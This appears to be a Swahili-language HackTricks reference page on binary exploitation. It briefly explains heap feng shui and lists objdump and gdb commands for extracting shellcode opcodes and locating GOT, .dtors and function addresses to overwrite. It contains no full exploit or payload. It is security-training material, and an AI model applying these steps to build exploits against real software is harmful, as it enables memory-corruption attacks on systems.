Heap Feng Shui

Inahusisha kusambaza kumbukumbu kwa njia ya akiba na kuachilia kumbukumbu hivyo kwamba kuna vipande vilivyowekwa kati ya vipande vilivyofunguliwa. Buffer ya kufurika itawekwa kwenye moja ya vipande hivyo.

objdump -d executable —> Disas functions
objdump -d ./PROGRAMA | grep FUNCTION —> Pata anwani ya kazi
objdump -d -Mintel ./shellcodeout —> Ili kuona kama ni shellcode yetu na kutoa OpCodes
objdump -t ./exec | grep varBss —> Jedwali la ishara, ili kutoa anwani za vitu na kazi
objdump -TR ./exec | grep exit(func lib) —> Ili kutoa anwani za kazi za maktaba (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Inatoa anwani ya puts itakayobadilishwa kwenye GOT
objdump -D ./exec —> Disas ALL hadi kuingia kwa plt
objdump -p -/exec
Info functions strncmp —> Maelezo ya kazi katika gdb

Kozi za Kuvutia

Vyanzo

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: